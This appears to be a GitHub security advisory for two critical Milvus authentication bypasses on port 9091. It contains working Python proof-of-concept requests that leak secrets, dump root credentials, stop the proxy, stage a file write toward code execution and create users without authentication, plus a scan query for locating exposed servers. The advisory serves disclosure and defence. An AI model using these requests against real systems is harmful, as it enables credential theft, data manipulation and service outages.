Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:
/expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation./api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management./expr EndpointThe /expr endpoint on port 9091 accepts an auth parameter that defaults to the etcd.rootPath value (by-dev). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:
param.MinioCfg.SecretAccessKey.GetValue(), rootcoord.meta.GetCredential(ctx, 'root'), etc.proxy.Stop() to shut down the proxy service.Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via registerHTTPServer() in <code>internal/distributed/proxy/service.go</code> (line 170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.
An attacker can perform any business operation without credentials, including:
/expr Endpoint Exploitationimport requests
url = "http://<target>:9091/expr"
# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
"auth": "by-dev",
"code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))
# Retrieve hashed credentials for the root user
res = requests.get(url, params={
"auth": "by-dev",
"code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))
# Denial of Service — stop the proxy
res = requests.get(url, params={
"auth": "by-dev",
"code": "proxy.Stop()"
}, timeout=5)
# Arbitrary file write (potential RCE)
for cmd in [
'param.Save("proxy.accessLog.localPath", "/tmp")',
'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
'param.Save("proxy.accessLog.filename", "evil.sh")',
'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)
import requests
target_url = "http://<target>:9091"
# Create a user without any authentication
res = requests.post(f"{target_url}/api/v1/credential", json={
"username": "attacker_user",
"password": "MTIzNDU2Nzg5",
})
print(res.json())
# List all users
res = requests.get(f"{target_url}/api/v1/credential/users")
print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']}
# Create and delete collections, insert data — all without authentication
A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:
http.body="404 page not found" && port="9091"
This indicates the vulnerability is actively exploitable in real-world production environments.
An unauthenticated remote attacker with network access to port 9091 can:
/expr endpoint in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.127.0.0.1:9091) so it is not externally accessible unless explicitly configured.etcd.rootPath from the default value by-dev to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).This vulnerability was discovered and responsibly reported by YingLin Xie (xieyinglin@hust.edu.cn). It was independently reported by 0x1f and zznQ (ac0d3r).
{
"github_reviewed_at": "2026-02-11T19:49:44Z",
"severity": "CRITICAL",
"cwe_ids": [
"CWE-1188",
"CWE-306",
"CWE-749"
],
"github_reviewed": true,
"nvd_published_at": null
}